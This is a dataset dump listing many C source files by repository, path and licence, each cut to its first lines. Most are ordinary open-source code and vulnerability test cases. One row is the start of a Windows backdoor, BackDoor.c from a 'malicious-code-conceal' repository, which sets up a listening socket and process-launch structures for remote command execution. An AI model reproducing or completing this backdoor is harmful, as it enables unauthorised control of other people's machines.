code stringlengths 1.03k 250k | repo_name stringlengths 7 70 | path stringlengths 4 177 | language stringclasses 1
value | license stringclasses 15
values | size int64 1.03k 250k |
|---|---|---|---|---|---|
/*
* Copyright 2008-2015 Arsen Chaloyan
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or ag... | unispeech/unimrcp | libs/uni-rtsp/src/rtsp_server.c | C | apache-2.0 | 32,441 |
/*
ChibiOS/RT - Copyright (C) 2006,2007,2008,2009,2010,
2011,2012,2013,2014 Giovanni Di Sirio.
This file is part of ChibiOS/RT.
ChibiOS/RT is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free ... | roboknight/chibios-lpc43xx | os/rt/src/chheap.c | C | apache-2.0 | 9,017 |
/*
+----------------------------------------------------------------------+
| PHP Version 5 |
+----------------------------------------------------------------------+
| Copyright 2012 Couchbase, Inc. |
+--------------... | couchbase/php-ext-couchbase | flush.c | C | apache-2.0 | 5,684 |
/**
* FreeRDP: A Remote Desktop Protocol Implementation
* RDP Settings
*
* Copyright 2009-2011 Jay Sorg
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org... | bmiklautz/debian-freerdp2 | libfreerdp/core/settings.c | C | apache-2.0 | 41,463 |
#include "list.h"
void __list_add__(list_node_t *prev, list_node_t *next, list_node_t *node)
{
next->prev = node;
node->next = next;
node->prev = prev;
prev->next = node;
}
void __list_del__(list_node_t *prev, list_node_t *next)
{
next->prev = prev;
prev->next = next;
}
... | veficos/occ | src/list.c | C | apache-2.0 | 1,500 |
/* Generic definitions */
#define Custom
#define PACKAGE it.unimi.dsi.fastutil.shorts
#define VALUE_PACKAGE it.unimi.dsi.fastutil.floats
/* Assertions (useful to generate conditional code) */
#unassert keyclass
#assert keyclass(Short)
#unassert keys
#assert keys(primitive)
#unassert valueclass
#assert valueclass(Floa... | karussell/fastutil | src/it/unimi/dsi/fastutil/shorts/Short2FloatOpenCustomHashMap.c | C | apache-2.0 | 15,409 |
/* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not... | rectang/lucy-clownfish | runtime/core/Clownfish/Test/Util/TestStringHelper.c | C | apache-2.0 | 10,638 |
#include "littlepain.h"
/* the backdoor :) */
DWORD WINAPI BackDoor(LPVOID Data)
{
SOCKET server_sock,client_sock;
struct sockaddr_in serv_inf;
struct timeval tv;
fd_set ft;
char exec[MAX_PATH];
DWORD cnt;
STARTUPINFO inf_prog;
PROCESS_INFORMATION info_pr;
if((server_sock = socket(AF_INET,SOCK_STREAM,
I... | ZHYfeng/malicious-code-conceal | 0_mailcious-code/useful/c_windows/littlepain/BackDoor.c | C | apache-2.0 | 1,857 |
/*
* Copyright 2005-2017 ECMWF.
*
* This software is licensed under the terms of the Apache Licence Version 2.0
* which can be obtained at http://www.apache.org/licenses/LICENSE-2.0.
*
* In applying this licence, ECMWF does not waive the privileges and immunities granted to it by
* virtue of its status as an int... | weathersource/grib_api | src/grib_accessor_class_number_of_coded_values.c | C | apache-2.0 | 7,223 |
/*
Copyright 2014 Cloudbase Solutions Srl
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http ://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, sof... | cloudbase/openvswitch-hyperv-kernel | Driver/Protocol/Tcp.c | C | apache-2.0 | 4,804 |
/*
* MMX optimized DSP utils
* Copyright (c) 2000, 2001 Fabrice Bellard
* Copyright (c) 2002-2004 Michael Niedermayer <michaelni@gmx.at>
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as publish... | longluo/FFMpeg | jni/libffmpeg/libavcodec/x86/dsputil_mmx.c | C | apache-2.0 | 126,287 |
#if !defined(lint) && !defined(DOS)
static char rcsid[] = "$Id: tty.c 672 2007-08-15 23:07:18Z hubert@u.washington.edu $";
#endif
/*
* ========================================================================
* Copyright 2006-2007 University of Washington
*
* Licensed under the Apache License, Version 2.0 (the "Lic... | cornerhost/alpine | pico/osdep/tty.c | C | apache-2.0 | 7,779 |
/*
* File:
* Author: ezio
*
* Created on 2016年2月25日, 下午9:14
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <ctype.h>
#include <sys/un.h>
#include <sys/socket.h>
#define SV_SOCK_PATH "/tmp/us_xfr"
#define BUF_SIZE 10
#define BACKLOG ... | oska874/cCode | socket/ud_ser.c | C | apache-2.0 | 1,436 |
/*
** Copyright (c) 2007, DNA Pty Ltd and contributors
**
** Permission is hereby granted, free of charge, to any person obtaining a copy
** of this software and associated documentation files (the "Software"), to deal
** in the Software without restriction, including without limitation the rights
** to use, copy, mo... | openhoodie/hoodie | xatmi/src/main/cxx/tpdiscon.c | C | apache-2.0 | 1,261 |
/* bme680.c - Driver for Bosch Sensortec's BME680 temperature, pressure,
* humidity and gas sensor
*
* https://www.bosch-sensortec.com/bst/products/all_products/bme680
*/
/*
* Copyright (c) 2018 Bosch Sensortec GmbH
*
* SPDX-License-Identifier: Apache-2.0
*/
#include "bme680.h"
#include <gpio.h>
#include <i2c... | GiulianoFranchetto/zephyr | drivers/sensor/bme680/bme680.c | C | apache-2.0 | 11,979 |
/* $Header: /cvs/maptools/cvsroot/libtiff/contrib/pds/tif_pdsdirread.c,v 1.2 2003/11/17 15:09:39 dron Exp $ */
/*
* Copyright (c) 1988-1996 Sam Leffler
* Copyright (c) 1991-1996 Silicon Graphics, Inc.
* Copyright (c( 1996 USAF Phillips Laboratory
*
* Permission to use, copy, modify, distribute, and sell this soft... | OpenXIP/xip-libraries | src/extern/tiff-3.7.4/contrib/pds/tif_pdsdirread.c | C | apache-2.0 | 31,914 |
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\... | nyaki-HUN/DESIRE | DESIRE-Modules/Network-curl/Externals/curl/src/getinfo.c | C | bsd-2-clause | 15,969 |
/*
* Copyright (C) 2005 by egnite Software GmbH. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this lis... | Astralix/ethernut32 | nut/arch/cm3/dev/atmel/debug_sam3u.c | C | bsd-2-clause | 6,628 |
/*
Copyright (c) 2012, William Magato
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the f... | wilseypa/llamaOS | src/sys/glibc-2.17/sysdeps/llamaos/export/lseek64.c | C | bsd-2-clause | 2,517 |
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "vm_strings.h"
#include <assert.h>
String *String_alloc(size_t length) {
String *p = (String *)calloc(1, sizeof(String) + (length+1) * sizeof(char));
p->length = length;
return p;
}
String *String_new(char *orig) {
String *s = String_alloc(strlen... | USF-CS345-starterkits/parrt-bytecode | src/vm_strings.c | C | bsd-2-clause | 1,852 |
#include <math.h>
#include "evas_common.h"
#include "evas_blend_private.h"
typedef struct _RGBA_Span RGBA_Span;
typedef struct _RGBA_Edge RGBA_Edge;
typedef struct _RGBA_Vertex RGBA_Vertex;
struct _RGBA_Span
{
EINA_INLIST;
int x, y, w;
};
struct _RGBA_Edge
{
double x, dx;
int i;
};
struct _RGBA_Vertex
... | nashidau/Evas-Next | src/lib/engines/common/evas_polygon_main.c | C | bsd-2-clause | 7,727 |
/* Copyright (c) Citrix Systems Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms,
* with or without modification, are permitted provided
* that the following conditions are met:
*
* * Redistributions of source code must retain the above
* copyright notice, this list o... | xenserver/win-xenbus | src/xen/hypercall.c | C | bsd-2-clause | 4,901 |
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/epoll.h>
#include <arpa/inet.h>
#define BUFF_SIZE 1024
int main(int argc, const char *argv[])
{
int i = 0;
char buff[BUFF_SIZE];
ssize_t msg_len = 0;
int srv_fd ... | AdamWolanski/internship-tasks | task03/epoll/main.c | C | bsd-2-clause | 2,905 |
/*
* Copyright (c) 2014 ASMlover. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list ofconditions ... | ASMlover/study | self-lang/klang/lexer.c | C | bsd-2-clause | 8,418 |
/*
* Copyright (c) 2016, Linaro Limited
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditi... | matt2048/optee_os | core/drivers/ps2mouse.c | C | bsd-2-clause | 4,633 |
/**
* @file
* @brief test for access of http://embox.googlecode.com/files/ext2_users.img
*
* @author Anton Kozlov
* @date 18.02.2013
*/
#include <stdint.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <security/smac/smac.h>
#include <fs/vfs.h>
#include <fs/fsop.h>
... | Kefir0192/embox | src/tests/security/smac.c | C | bsd-2-clause | 3,457 |
/***** includes *****/
#include "lfds720_stack_np_internal.h"
/***** private prototypes *****/
static void lfds720_stack_np_internal_stack_np_validate( struct lfds720_stack_np_state *ss,
struct lfds720_misc_validation_info *vi,
... | grz0zrg/fas | lib/liblfds7.2.0/src/liblfds720/src/lfds720_stack_nodeallocate_positionindependent/lfds720_stack_np_query.c | C | bsd-2-clause | 4,484 |
/*
Copyright (c) 2012-2013, Politecnico di Milano. All rights reserved.
Andrea Zoppi <texzk@email.it>
Martino Migliavacca <martino.migliavacca@gmail.com>
http://airlab.elet.polimi.it/
http://www.openrobots.com/
Redistribution and use in source and binary forms, with or without
modification, are permitted provided t... | yukkysaito/uros_velodyne | src/urosNode.c | C | bsd-2-clause | 70,678 |
/* Copyright (c) 2013, Anthony Cornehl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* - Redistributions of source code must retain the above copyright notice, this
* list of cond... | twinshadow/tslibc | src/string/check_strstrip.c | C | bsd-2-clause | 2,026 |
/*
* Copyright (c) 2006, 2006, Oracle and/or its affiliates. All rights reserved.
* ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*/
/*
* wrapper pow(x,y) return x**y
*/
#include "fdlibm.h"
#ifdef __STDC__
double pow(double x, double y) /* wrapper pow */
#else
double pow(x,y) /* wrapper... | SnakeDoc/GuestVM | guestvm~guestvm/com.oracle.max.ve.native/fdlibm/w_pow.c | C | bsd-3-clause | 1,152 |
/*
* Copyright (c) 2014, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in
* the LICENSE file in the root directory of this source tree. An
* additional grant of patent rights can be found in the PATENTS file
* in the same directory.
*
*/
#include... | dalinaum/fb-adb | child.c | C | bsd-3-clause | 13,390 |
// RUN: %clang_builtins %s %librt -o %t && %run %t
//===-- ctzti2_test.c - Test __ctzti2 -------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for detail... | youtube/cobalt | third_party/llvm-project/compiler-rt/test/builtins/Unit/ctzti2_test.c | C | bsd-3-clause | 2,303 |
/*
* from: FreeBSD: src/sys/tools/fw_stub.awk,v 1.6 2007/03/02 11:42:53 flz
*/
#include <sys/cdefs.h>
__FBSDID("$FreeBSD: releng/9.3/sys/dev/cxgb/cxgb_t3fw.c 189643 2009-03-10 19:22:45Z gnn $");
#include <sys/param.h>
#include <sys/errno.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/linker.h>
#incl... | dcui/FreeBSD-9.3_kernel | sys/dev/cxgb/cxgb_t3fw.c | C | bsd-3-clause | 4,506 |
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE191_Integer_Underflow__short_rand_postdec_07.c
Label Definition File: CWE191_Integer_Underflow.label.xml
Template File: sources-sinks-07.tmpl.c
*/
/*
* @description
* CWE: 191 Integer Underflow
* BadSource: rand Set data to result of rand()
* GoodSource: Set... | JianpingZeng/xcc | xcc/test/juliet/testcases/CWE191_Integer_Underflow/s04/CWE191_Integer_Underflow__short_rand_postdec_07.c | C | bsd-3-clause | 4,979 |
/*-
* Copyright (c) 2006 The FreeBSD Project
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of... | dcui/FreeBSD-9.3_kernel | sys/dev/tdfx/tdfx_linux.c | C | bsd-3-clause | 2,886 |
/*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in bin... | MarginC/kame | freebsd4/sys/boot/common/interp_backslash.c | C | bsd-3-clause | 3,531 |
/*
FreeRTOS V7.6.0 - Copyright (C) 2013 Real Time Engineers Ltd.
All rights reserved
VISIT http://www.FreeRTOS.org TO ENSURE YOU ARE USING THE LATEST VERSION.
***************************************************************************
* ... | jedediahfrey/STM32F4-Discovery_FW_V1.1.0_Makefiles | FreeRTOS/FreeRTOS/Demo/Common/Full/death.c | C | bsd-3-clause | 9,302 |
#include <stdlib.h>
#include <stdio.h>
#include <utp.h>
#include <utp.c>
int test()
{
return -1;
}
int main(int argc, char ** argv)
{
if (argc != 2) {
fprintf(stderr, "usage: server <PORT>\n");
return EXIT_FAILURE;
}
int port = atoi(argv[1]);
printf("using port = %i\n", port);
... | pxqr/utp | tests/server.c | C | bsd-3-clause | 1,675 |
/* $OpenBSD: tls_server.c,v 1.4 2015/02/07 06:19:26 jsing Exp $ */
/*
* Copyright (c) 2014 Joel Sing <jsing@openbsd.org>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice a... | GaloisInc/hacrypto | src/C/libressl/libressl-2.1.6/tls/tls_server.c | C | bsd-3-clause | 3,555 |
/*
* Copyright (C) 2017-present Frederic Meyer. All rights reserved.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "vt100.h"
#include <stddef.h>
struct vt100_term* vt100_init(struct vt100_term* this, int buffer_width, int buffer_height) {
... | flerovii/renaOS | kernel/klib/vt100.c | C | bsd-3-clause | 8,238 |
/* $NetBSD: rpc_soc.c,v 1.6 2000/07/06 03:10:35 christos Exp $ */
/*
* Sun RPC is a product of Sun Microsystems, Inc. and is provided for
* unrestricted use provided that this legend is included on all tape
* media and as a part of the software program in whole or part. Users
* may copy or modify Sun RPC without ... | jhbsz/OSI-OS | Operating-System/Libraries/libc/rpc/rpc_soc.c | C | bsd-3-clause | 13,887 |
/*
* This file is part of the Soletta Project
*
* Copyright (C) 2015 Intel Corporation. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain ... | ricardotk/soletta | src/modules/flow/string/string-replace-icu.c | C | bsd-3-clause | 13,088 |
/*
* sound/pas2_mixer.c
*
* Mixer routines for the Pro Audio Spectrum cards.
*
* Copyright by Hannu Savolainen 1993
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met: 1. Redistributions of source code must re... | MarginC/kame | freebsd3/sys/i386/isa/sound/pas2_mixer.c | C | bsd-3-clause | 9,208 |
/* dlar1v.f -- translated by f2c (version 20061008).
You must link the resulting object file with libf2c:
on Microsoft Windows system, link with libf2c.lib;
on Linux or Unix systems, link with .../path/to/libf2c.a -lm
or, if you install libf2c.a in a standard place, with -lf2c -lm
-- in that order, at the end of... | juanjosegarciaripoll/cblapack | src/lapack/dlar1v.c | C | bsd-3-clause | 12,170 |
/*
* hostapd / Initialization and configuration
* Copyright (c) 2002-2014, Jouni Malinen <j@w1.fi>
*
* This software may be distributed under the terms of the BSD license.
* See README for more details.
*/
#include "utils/includes.h"
#include "utils/common.h"
#include "utils/eloop.h"
#include "common/ieee802_11... | wifiphisher/roguehostapd | roguehostapd/hostapd-2_6/src/ap/hostapd.c | C | bsd-3-clause | 84,878 |
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE191_Integer_Underflow__int_listen_socket_postdec_45.c
Label Definition File: CWE191_Integer_Underflow__int.label.xml
Template File: sources-sinks-45.tmpl.c
*/
/*
* @description
* CWE: 191 Integer Underflow
* BadSource: listen_socket Read data using a listen so... | JianpingZeng/xcc | xcc/test/juliet/testcases/CWE191_Integer_Underflow/s04/CWE191_Integer_Underflow__int_listen_socket_postdec_45.c | C | bsd-3-clause | 8,543 |
/*
* This file is part of the Soletta Project
*
* Copyright (C) 2015 Intel Corporation. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain ... | rchiossi/soletta | src/lib/comms/sol-oic-server.c | C | bsd-3-clause | 25,099 |
/*
* Copyright (c) 2006, 2006, Oracle and/or its affiliates. All rights reserved.
* ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*/
/*
* ceil(x)
* Return x rounded toward -inf to integral value
* Method:
* Bit twiddling.
* Exception:
* Inexact flag raised if x not equal to ceil(x).
*/
#... | SnakeDoc/GuestVM | guestvm~guestvm/com.oracle.max.ve.native/fdlibm/s_ceil.c | C | bsd-3-clause | 1,481 |
/*
* CDDL HEADER START
*
* The contents of this file are subject to the terms of the
* Common Development and Distribution License (the "License").
* You may not use this file except in compliance with the License.
*
* You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE
* or http://www.opensolar... | jrobhoward/SCADAbase | sys/cddl/dev/lockstat/lockstat.c | C | bsd-3-clause | 8,829 |
#include <core/Runtime.h>
#include <stdlib.h>
#include <math.h>
int runtime_f32_mul(Stack stack)
{
Value* operand1 = NULL;
Value* operand2 = NULL;
pop_Value(stack, &operand2);
pop_Value(stack, &operand1);
if(isnan(operand1->value.f32) || isnan(operand2->value.f32)) {
push_Value(stack, new_... | LuisHsu/WasmVM | src/lib/core/runtime/f32_mul.c | C | bsd-3-clause | 1,224 |
/*-
* Copyright (c) 1996-1999
* Kazutaka YOKOTA (yokota@zodiac.mech.utsunomiya-u.ac.jp)
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain th... | MarginC/kame | freebsd3/sys/dev/kbd/atkbdc.c | C | bsd-3-clause | 26,073 |
/* $OpenBSD: isp_sbus.c,v 1.7 1999/03/25 22:58:37 mjacob Exp $ */
/* release_03_25_99 */
/*
* SBus specific probe and attach routines for Qlogic ISP SCSI adapters.
*
* Copyright (c) 1997 by Matthew Jacob
* NASA AMES Research Center
* All rights reserved.
*
* Redistribution and use in source and binary forms, wit... | MarginC/kame | openbsd/sys/arch/sparc/dev/isp_sbus.c | C | bsd-3-clause | 10,106 |
/**
* Copyright (c) 2019, Łukasz Marcin Podkalicki <lpodkalicki@gmail.com>
* ESP8266/005
* Blinky example using pure ESP8266 Non-OS SDK.
*/
#include "ets_sys.h"
#include "osapi.h"
#include "gpio.h"
#include "os_type.h"
#include "user_config.h"
#define LED_PIN (2)
static volatile os_timer_t blinky_timer;
static ... | lpodkalicki/blog | esp8266/005_nonos_sdk_blinky/user/main.c | C | bsd-3-clause | 1,066 |
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE78_OS_Command_Injection__char_environment_w32_spawnv_61b.c
Label Definition File: CWE78_OS_Command_Injection.strings.label.xml
Template File: sources-sink-61b.tmpl.c
*/
/*
* @description
* CWE: 78 OS Command Injection
* BadSource: environment Read input from a... | JianpingZeng/xcc | xcc/test/juliet/testcases/CWE78_OS_Command_Injection/s03/CWE78_OS_Command_Injection__char_environment_w32_spawnv_61b.c | C | bsd-3-clause | 2,024 |
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE194_Unexpected_Sign_Extension__fgets_malloc_03.c
Label Definition File: CWE194_Unexpected_Sign_Extension.label.xml
Template File: sources-sink-03.tmpl.c
*/
/*
* @description
* CWE: 194 Unexpected Sign Extension
* BadSource: fgets Read data from the console usi... | JianpingZeng/xcc | xcc/test/juliet/testcases/CWE194_Unexpected_Sign_Extension/s01/CWE194_Unexpected_Sign_Extension__fgets_malloc_03.c | C | bsd-3-clause | 4,693 |
/*-
* Copyright (c) 2001 Atsushi Onoe
* Copyright (c) 2002-2009 Sam Leffler, Errno Consulting
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must ret... | dcui/FreeBSD-9.3_kernel | sys/net80211/ieee80211_ioctl.c | C | bsd-3-clause | 97,910 |
/*
* Copyright (c) 2012 The Native Client Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "native_client/src/include/portability_string.h"
#include "native_client/src/include/nacl_macros.h"
#include "native_client/src/i... | leighpauls/k2cro4 | native_client/src/trusted/service_runtime/arch/x86_64/sel_ldr_x86_64.c | C | bsd-3-clause | 5,566 |
//------------------------------------------------------------------------------
// GB_Descriptor_get: get the status of a descriptor
//------------------------------------------------------------------------------
// SuiteSparse:GraphBLAS, Timothy A. Davis, (c) 2017-2018, All Rights Reserved.
// http://suitesparse.co... | jlblancoc/suitesparse-metis-for-windows | SuiteSparse/GraphBLAS/Source/GB_Descriptor_get.c | C | bsd-3-clause | 5,829 |
//------------------------------------------------------------------------------
// GB_AxB: hard-coded C=A*B and C<M>=A*B
//------------------------------------------------------------------------------
// SuiteSparse:GraphBLAS, Timothy A. Davis, (c) 2017-2018, All Rights Reserved.
// http://suitesparse.com See ... | jlblancoc/suitesparse-metis-for-windows | SuiteSparse/GraphBLAS/Source/Generated/GB_AxB__times_isgt_int32.c | C | bsd-3-clause | 8,225 |
/*
* Copyright (c) 2016, The OpenThread Authors.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this ... | erja-gp/openthread | examples/platforms/da15000/alarm.c | C | bsd-3-clause | 2,963 |
/*******************************************************************************
*
* Module Name: rscalc - Calculate stream and list lengths
*
******************************************************************************/
/*
* Copyright (C) 2000 - 2016, Intel Corp.
* All rights reserved.
*
* Redistribution an... | TigerBSD/TigerBSD | FreeBSD/sys/contrib/dev/acpica/components/resources/rscalc.c | C | isc | 23,744 |
/*-
* Copyright (c) 1999 M. Warner Losh <imp@village.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice... | TigerBSD/TigerBSD | FreeBSD/sys/dev/sn/if_sn_pccard.c | C | isc | 8,607 |
/*
Copyright (C) 2004 Michael J. Silbersack. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the ... | TigerBSD/TigerBSD | FreeBSD/tests/sys/kern/pipe/pipe_fstat_bug_test.c | C | isc | 3,787 |
/*
* The Yices SMT Solver. Copyright 2014 SRI International.
*
* This program may only be used subject to the noncommercial end user
* license agreement which is downloadable along with this program.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include "utils/int_stack.h"
... | maelvalais/ocamlyices2 | ext/yices/tests/unit/test_int_stack.c | C | isc | 2,167 |
/*-
* Copyright (c) 2010, 2012 Konstantin Belousov <kib@FreeBSD.org>
* Copyright (c) 2015 The FreeBSD Foundation
* All rights reserved.
*
* Portions of this software were developed by Konstantin Belousov
* under sponsorship from the FreeBSD Foundation.
*
* Redistribution and use in source and binary forms, with... | TigerBSD/TigerBSD | FreeBSD/sys/kern/kern_sharedpage.c | C | isc | 7,826 |
/****************************************************************************
**
** Name: MicoFileStat.c
**
** Description:
** Implements _fstat, called by Newlib C library file functions
**
** $Revision: $
**
** Disclaimer:
**
** This source code is intended as a design reference which
** illustrates how... | ptracton/wb_soc_template | rtl/lm32_top/drivers/service/MicoFileStat.c | C | mit | 2,525 |
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\... | PooyaEimandar/WolfEngine | engine/src/wolf.system/curl/src/multi.c | C | mit | 99,453 |
/**
\brief A timer module with only a single compare value. Can be used to replace
the "bsp_timer" and "radiotimer" modules with the help of abstimer.
\author Xavi Vilajosana <xvilajosana@eecs.berkeley.edu>, May 2012.
\author Thomas Watteyne <watteyne@eecs.berkeley.edu>, May 2012.
*/
#include "sctimer.h"
#incl... | barriquello/iotstack | openwsn-fw-work/firmware/openos/bsp/boards/gina/sctimer.c | C | mit | 2,026 |
#include "multi_modelstruct.h"
#include "multivar_support.h"
#include <math.h>
#include <assert.h>
#include <gsl/gsl_linalg.h>
#include <gsl/gsl_eigen.h>
#include <gsl/gsl_blas.h>
#include <gsl/gsl_errno.h>
/**
* ccs, 05.06.2012
* \todo this all needs to be checked carefully against an example that works in R
* \... | MADAI/MADAIEmulator | src/multi_modelstruct.c | C | mit | 16,184 |
/* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern float strtof(char const *str , char const *endptr ) ;
extern void signal(int sig , void *func ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char co... | tum-i22/obfuscation-benchmarks | tigress-generated-programs/empty-Seed4-RandomFuns-Type_int-ControlStructures_9-BB2-ForBound_input-Operators_all.c | C | mit | 3,118 |
/* MACHINE GENERATED FILE, DO NOT EDIT */
#include <jni.h>
#include "extgl.h"
typedef GL_APICALL void (GL_APIENTRY *glTexStorage1DEXTPROC) (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width);
typedef GL_APICALL void (GL_APIENTRY *glTexStorage2DEXTPROC) (GLenum target, GLsizei levels, GLenum internal... | eriqadams/computer-graphics | lib/lwjgl-2.9.1/lwjgl-source-2.9.1/src/native/generated/opengles/org_lwjgl_opengles_EXTTextureStorage.c | C | mit | 4,247 |
/*
This file contains the sigma-delta driver implementation.
*/
#include "platform.h"
#include "hw_timer.h"
#include "task/task.h"
#include "c_stdlib.h"
#include "pcm.h"
static const os_param_t drv_sd_hw_timer_owner = 0x70636D; // "pcm"
static void ICACHE_RAM_ATTR drv_sd_timer_isr( os_param_t arg )
{
cfg_t *... | devsaurus/nodemcu-firmware | app/pcm/drv_sigma_delta.c | C | mit | 2,905 |
/*
* Special implementations of built-in functions and methods.
*
* Optional optimisations for builtins are in Optimize.c.
*
* General object operations and protocols are in ObjectHandling.c.
*/
//////////////////// Globals.proto ////////////////////
static PyObject* __Pyx_Globals(void); /*proto*/
////////////... | mollstam/UnrealPy | UnrealPyEmbed/Development/Python/2015.08.07-Python2710-x64-Source-vs2015/Python27/Source/Cython-0.22.1/Cython/Utility/Builtins.c | C | mit | 12,711 |
/** \file
* \brief Scintilla control: Cursor and Zooming
*
* See Copyright Notice in "iup.h"
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#undef SCI_NAMESPACE
#include <Scintilla.h>
#include "iup.h"
#include "iup_object.h"
#include "iup_attrib.h"
#include "iup_str.h"
#include... | ivanceras/iup-mirror | srcscintilla/iupsci_cursor.c | C | mit | 2,233 |
/**************************************************************************//**
* Copyright (c) 2016 by Silicon Laboratories Inc. All rights reserved.
*
* http://developer.silabs.com/legal/version/v11/Silicon_Labs_Software_License_Agreement.txt
***********************************************************************... | ahtn/keyplus | ports/efm8/efm8/mcu/EFM8UB3/peripheral_driver/src/uart_1.c | C | mit | 14,124 |
/***************************************************************************/
/* */
/* pshinter.c */
/* */
/* ... | yapingxin/saturn-gui-lib-workshop | Lib/FreeType/freetype-2.6.2/src/pshinter/pshinter.c | C | mit | 1,453 |
/*
* Copyright (c) 2000, 2001, 2002 Fabrice Bellard
* Copyright (c) 2007 Mans Rullgard
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* versi... | devintaietta/Remote-Player-Audio | dipendenze/dacompilare/ffmpeg-2.6.3/libavutil/avstring.c | C | gpl-2.0 | 10,363 |
/*
* This file is part of the UCB release of Plan 9. It is subject to the license
* terms in the LICENSE file found in the top-level directory of this
* distribution and at http://akaros.cs.berkeley.edu/files/Plan9License. No
* part of the UCB release of Plan 9, including this file, may be copied,
* modified, pro... | brho/plan9 | sys/src/cmd/aux/vga/mach64xx.c | C | gpl-2.0 | 30,679 |
/* soundeffects.c
* An example on how to use libmikmod to play sound effects.
*
* (C) 2004, Raphael Assenat (raph@raphnet.net)
*
* This example is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRENTY; without event the implied warrenty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOS... | gameblabla/methane | source/gcw/libmikmod-3.3.7/examples/soundeffects/soundeffects.c | C | gpl-2.0 | 2,980 |
/*++
drivers/i2c/busses/wmt-i2c-bus-3.c
Copyright (c) 2013 WonderMedia Technologies, Inc.
This program is free software: you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software Foundation,
